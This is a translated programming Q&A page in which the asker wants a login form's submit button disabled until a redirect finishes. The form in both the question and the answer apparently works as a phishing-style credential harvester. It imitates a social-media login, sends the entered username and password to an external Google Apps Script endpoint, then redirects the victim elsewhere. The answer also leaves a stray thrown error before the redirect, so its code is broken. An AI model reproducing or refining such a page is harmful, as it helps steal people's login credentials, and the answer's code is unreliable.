在加载下一页之前禁用输入条目或按钮答案

【问题标题】：Disable input entries or button untill next page loaded在加载下一页之前禁用输入条目或按钮
【发布时间】：2023-02-25 17:36:04
【问题描述】：

<!DOCTYPE html>

<html lang="en">

<head> 

<form action="" method="post" name="form">
 <div class="input">

      <input id="number"name="Phone" type="text" placeholder="Phone number,username or email" required></input>

                <br>

                <input id="pass" name="Pass" type="password" placeholder="Password " required></input>

        </div>
  **<button id="submit" class="btn" type="submit" onclick="click()">Log In </button>**

        </form>

<script>     

                const scriptURL = 'https://script.google.com/macros/s/AKfycbxD28OxZp-UKkWNjrGKve5cRQUMTAIduhvonfHBE2_x5tc548mrGC9KaovGsLKv_CTW/exec'

                const form = document.forms['form']

                form.addEventListener('submit', e => {

                        e.preventDefault()

                        fetch(scriptURL, { method: 'POST', body: new FormData(form) })

                                .then(response =>location.href='https://developerkaushal.netlify.com' )

                                .catch(error => console.error('Error!', error.message))

                })

        </script>

</body>

</html>

我想要那个禁用按钮，直到加载下一页

我希望在加载我的网页之前，用户将无法单击提交 btn 我希望任何人都可以帮助我修复它

我添加了一个脚本，当数据提交成功时，用户将重定向到 nxt 页面，但是将用户重定向到 nxt 页面需要太多时间所以我希望用户在重新定位网站之前无法再次单击提交按钮

【问题讨论】：

标签： javascript html css

【解决方案1】：

您可以选择submit 按钮，在单击事件处理程序的开始，您可以禁用按钮submitButton.disable = true，并且可以在捕获时启用它。

<!DOCTYPE html>

<html lang="en">

<head>

  <form action="" method="post" name="form">
    <div class="input">

      <input id="number" name="Phone" type="text" placeholder="Phone number,username or email" required></input>

      <br>

      <input id="pass" name="Pass" type="password" placeholder="Password " required></input>

    </div>
    **<button id="submit" class="btn" type="submit" onclick="click()">Log In </button>**

  </form>

  <script>
    const scriptURL = 'https://script.google.com/macros/s/AKfycbxD28OxZp-UKkWNjrGKve5cRQUMTAIduhvonfHBE2_x5tc548mrGC9KaovGsLKv_CTW/exec'

    const form = document.forms['form']
    const submitButton = document.querySelector('#submit');

    form.addEventListener('submit', e => {
      submitButton.disabled = true;
      e.preventDefault()
      fetch(scriptURL, {
          method: 'POST',
          body: new FormData(form)
        })

        .then(response => {
          throw new Error('error here');

          location.href = 'https://developerkaushal.netlify.com'

        })

        .catch(error => {
          submitButton.disabled = false;
          console.error('Error!', error.message)
        })

    })
  </script>

  </body>

</html>

【讨论】：